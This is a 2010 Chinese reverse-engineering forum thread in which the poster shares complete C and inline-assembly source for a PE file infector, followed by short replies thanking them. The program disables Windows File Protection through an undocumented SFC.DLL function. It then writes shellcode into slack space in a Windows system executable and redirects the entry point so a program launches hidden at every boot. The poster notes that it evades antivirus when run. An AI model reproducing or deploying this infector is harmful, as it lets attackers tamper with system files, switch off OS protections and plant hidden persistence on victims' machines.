首页
社区
课程
招聘
[旧帖] [分享]系统文件PE注入 0.00雪花
发表于: 2010-8-3 11:11 3274

[旧帖] [分享]系统文件PE注入 0.00雪花

2010-8-3 11:11
3274
最近做了个PE注入的程序,注入到wininit.exe

刚开始写了个增加一个节 然后把代码放进去。。做完后文件大小变了。觉得不太好就改成了插缝的方法,好在测试用的插入的代码也不大 99h  ,插入wininit.exe也够了。。之前查了蛮多资料,有说插入PE的 ,但是貌似过不了windows 系统文件保护。。在网上找到了方法。

http://www.bitsum.com/aboutwfp.asp 老物了。。。  

method 3 那个未文档化的函数。。

也可以用Method 2 SfcTerminateWatcherThread  
(To accomplish this, virtual memory needs to be allocated in the winlogon process space and a thread procedure that invokes SfcTerminateWatcherThread copied into that memory. The thread procedure should then be invoked using kernel32.CreateRemoteThread and WFP will be disabled until the winlogon process restarts (computer is rebooted).)
插入winlogon进程 调用此函数。。

我用的method 3  简单易用。。 网上说只能解除保护1分钟 但是我测试的时候替换完重启还在。。所以貌似可以用来实现自启动。

下面程序演示注入wininit.exe 实现开机自启动notepad.exe,当然是隐藏运行,在进程里应该能看到,测试了XP成功。win7是肯定不行的,而且win7比较奇怪就连那段插入的代码都出问题
kernel32基址得到了 GetProcAddress也得到了,用来得到winexec的地址时 eax直接等于0了,,。。还望有人指点下。 汇编太菜了。没整明白啊。、
代码丢出来。 真心学习 高手不要拍砖。。。

#include <stdio.h>
#include<windows.h>
#include<TCHAR.h>
#include <shlwapi.h>


typedef DWORD WINAPI SfcFileException(DWORD dwUnknown0, PWCHAR pwszFile, DWORD dwUnknown1);

void KillSFC()
{
    WCHAR drvpath[MAX_PATH]={0};
    
    GetSystemDirectoryW(drvpath,sizeof(drvpath));
    wcscat(drvpath,L"\\userinit.exe");
    HMODULE hModule = LoadLibraryA("SFC.DLL");
    SfcFileException *SfcFileExc = (SfcFileException (__stdcall *))GetProcAddress(hModule,(LPCSTR)5);
    SfcFileExc(0,drvpath,-1);
	FreeLibrary(hModule);
    return;
}

int main(int argc,char* argv[])
{
	IMAGE_NT_HEADERS ntHeader;
	IMAGE_SECTION_HEADER SecInject;
	FILE* pFile;
	char systemPath[MAX_PATH];
	GetSystemDirectoryA(systemPath,sizeof(systemPath));
	char szFileName[MAX_PATH] = "\\userinit.exe";
	strcat(systemPath,szFileName);
	strcpy(szFileName,systemPath);
	KillSFC();
	

	if((pFile=fopen(szFileName,"rb+"))==NULL)//打开文件失败则退出
	{
		printf("打开文件失败\n");
		return 0;
	}
  
  fseek(pFile,0x3c,0);
  DWORD pNT;
  fread(&pNT,sizeof(DWORD),1,pFile);
  fseek(pFile,pNT,SEEK_SET);
  fread(&ntHeader,sizeof(IMAGE_NT_HEADERS),1,pFile); //读取NT头
  
  
  //保存旧入口地址
  int sectionNum = ntHeader.FileHeader.NumberOfSections;
  int OldEntryPoint = ntHeader.OptionalHeader.AddressOfEntryPoint;
  
  goto shellend;
__asm
{
		shell:	PUSHAD
		MOV	EAX,DWORD PTR FS:[30H]	;FS:[30H]指向PEB
		MOV	EAX,DWORD PTR [EAX+0CH]	;获取PEB_LDR_DATA结构的指针
		MOV	EAX,DWORD PTR [EAX+1CH] ;获取LDR_MODULE链表表首结点的inInitializeOrderModuleList成员的指针
		MOV	EAX,DWORD PTR [EAX]	;LDR_MODULE链表第二个结点的inInitializeOrderModuleList成员的指针
		MOV	EAX,DWORD PTR [EAX+08H]	;inInitializeOrderModuleList偏移8h便得到Kernel32.dll的模块基址
		MOV	EBP,EAX		;	将Kernel32.dll模块基址地址放至kernel中
		MOV	EAX,DWORD PTR [EAX+3CH]	;指向IMAGE_NT_HEADERS
		MOV	EAX,DWORD PTR [EBP+EAX+120]	;指向导出表
		MOV	ECX,[EBP+EAX+24]	;取导出表中导出函数名字的数目
		MOV	EBX,[EBP+EAX+32]  	;取导出表中名字表的地址
		ADD	EBX,EBP
		PUSH WORD  PTR 0X00			;构造GetProcAddress字符串
		PUSH DWORD PTR 0X73736572
		PUSH DWORD PTR 0X64644163
		PUSH DWORD PTR 0X6F725074
		PUSH WORD PTR 0X6547
		MOV  EDX,ESP
		PUSH ECX

		
F1:	
		MOV	EDI,EDX
		POP	ECX
		DEC	ECX
		TEST	ECX,ECX
		JZ	EXIT
		MOV	ESI,[EBX+ECX*4]		
		ADD	ESI,EBP
		PUSH	ECX
		MOV	ECX,15
		REPZ	CMPSB
		TEST	ECX,ECX
		JNZ	F1
	
		POP	ECX
		MOV	ESI,[EBP+EAX+36]	;取得导出表中序号表的地址
		ADD	ESI,EBP
		MOVZX	ESI,WORD PTR[ESI+ECX*2]		;取得进入函数地址表的序号
		MOV	EDI,[EBP+EAX+28]	;取得函数地址表的地址
		ADD	EDI,EBP
		MOV	EDI,[EDI+ESI*4]		;取得GetProcAddress函数的地址
		ADD	EDI,EBP			
		PUSH WORD PTR 0X00							
		PUSH DWORD PTR 0X636578	;构造WinExec字符串
		PUSH DWORD PTR 0X456E6957
		PUSH ESP
		PUSH	EBP			;
		CALL	EDI			;调用GetProcAddress取得WinExec函数的地址
		
		PUSH    0
		PUSH	WORD PTR 0X00		;构造notepad.exe符串,测试新增节后的EXE是否能正常运行notepad.exe
		PUSH	DWORD PTR 0X657865	
		PUSH    DWORD PTR 0X2E646170
		PUSH	DWORD PTR 0X65746F6E
		PUSH	ESP
		CALL	EAX
EXIT:	ADD ESP,40			;平衡堆栈
		POPAD
}
	shellend:
		char *pShell;
		int nShellLen;
		
__asm
{
		LEA EAX,shell
		MOV pShell,EAX;
		LEA EBX,shellend
		SUB EBX,EAX
		MOV nShellLen,EBX
}
  
int i;



for(i=0;i<sectionNum;i++)
  {
	 fseek(pFile,pNT+248+i*40,SEEK_SET);  //定位到节表开始处 
	 fread(&SecInject,sizeof(IMAGE_SECTION_HEADER),1,pFile);
	 DWORD pInfect = SecInject.PointerToRawData + SecInject.Misc.VirtualSize+5; 
	 WORD Sign;
	 fseek(pFile,pInfect,SEEK_SET);
	 fread(&Sign,sizeof(WORD),1,pFile);
	 if(Sign == 0x1122)  //已经感染过,结束程序.
	 {
		 MessageBoxA(NULL,"已感染过","msg",MB_OK);
		 return 0;
	 }
	 if((int)(SecInject.SizeOfRawData-SecInject.Misc.VirtualSize)>nShellLen)
		break;
  }
	
if(i>=sectionNum)
{
	printf("找不到适合插入的节");
	return 0;
}
	

	DWORD lpCodeRVA = SecInject.VirtualAddress + SecInject.Misc.VirtualSize;   
	DWORD lpCodeOffs = SecInject.PointerToRawData + SecInject.Misc.VirtualSize; //添加代码的文件偏移
	/*修改入口点地址并写回NT HEADER中*/
	ntHeader.OptionalHeader.AddressOfEntryPoint = lpCodeRVA;	
	fseek(pFile,pNT,SEEK_SET);
	fwrite(&ntHeader,sizeof(IMAGE_NT_HEADERS),1,pFile);

	SecInject.Characteristics = SecInject.Characteristics|IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_EXECUTE; //节属性改成可读、可执行
	SecInject.Misc.VirtualSize += nShellLen; 
	fseek(pFile,pNT+248+i*40,SEEK_SET);	//文件指针移动到SecInject的首址
	fwrite(&SecInject,sizeof(IMAGE_SECTION_HEADER),1,pFile); //将修改后的节信息写回文件中

	/*写入SHELLCODE*/
  fseek(pFile,lpCodeOffs,SEEK_SET);	//定位到添加代码的文件偏移
  for(i=0;i<nShellLen;i++)
	fputc(pShell[i],pFile);
  //SHELLCODE之后是跳转到原OEP的指令
  		
  BYTE jmp = 0xE9;
  OldEntryPoint = OldEntryPoint-(lpCodeRVA+nShellLen)-5;
  fwrite(&jmp, sizeof(jmp), 1, pFile);
  fwrite(&OldEntryPoint, sizeof(OldEntryPoint), 1, pFile);
  WORD InfectSign=0x1122; // 感染标志
  fwrite(&InfectSign,sizeof(WORD),1,pFile);
  MessageBoxA(NULL,"注入成功","INFO",MB_OK);
  return 0;
}


之前看《程序员的自我修养》(这书名字真不错。)的时候看到COFF PE 文件格式的时候,这文件格式也不过如此。。如今真的自己动起手来,才发现千难万险。。 这回可真理解了“纸上得来终觉浅,绝知此事要躬行”这句话的意思了。。 如果有兴趣的朋友可以自己写写

PS:此程序运行不会被杀软拦截,但是修改后的wininit.exe会被360报毒。。但是既然自启动了一个程序,也可以用你写的程序来保护 , 隔段时间调用此程序。

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 0
支持
分享
最新回复 (11)
雪    币: 81
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
竟然還能坐到沙發,呵呵。順便學習一下。
2010-8-4 08:03
0
雪    币: 13
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
dhy
3
看不懂啊,
2010-8-4 08:08
0
雪    币: 31
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
谢谢啦,一开始的基础就这么好
2010-8-4 08:10
0
雪    币: 129
活跃值: (333)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
xed
5
虽然看不懂
但还是**
2010-8-4 16:01
0
雪    币: 145
活跃值: (25)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
6
做个标记,学习。。。
2010-8-18 14:25
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
学习学习 打个标记
2010-9-19 13:43
0
雪    币: 5
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
太深了。看得不是很懂哦
2010-9-19 19:09
0
雪    币: 9
活跃值: (67)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
2010-12-6 08:32
0
雪    币: 156
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
好贴得顶,回家慢慢看。
2010-12-6 10:03
0
雪    币: 544
活跃值: (55)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
11
只能看懂一半,继续学习。。。
2010-12-6 11:54
0
雪    币: 23
活跃值: (25)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
谢谢兄弟,这个代码我找了很久了,而且也问过很多人,但是没有一个能令我满意,这个我大致看了下,感觉不错,回去好好研究研究!
2010-12-7 16:09
0
游客
登录 | 注册 方可回帖
返回
//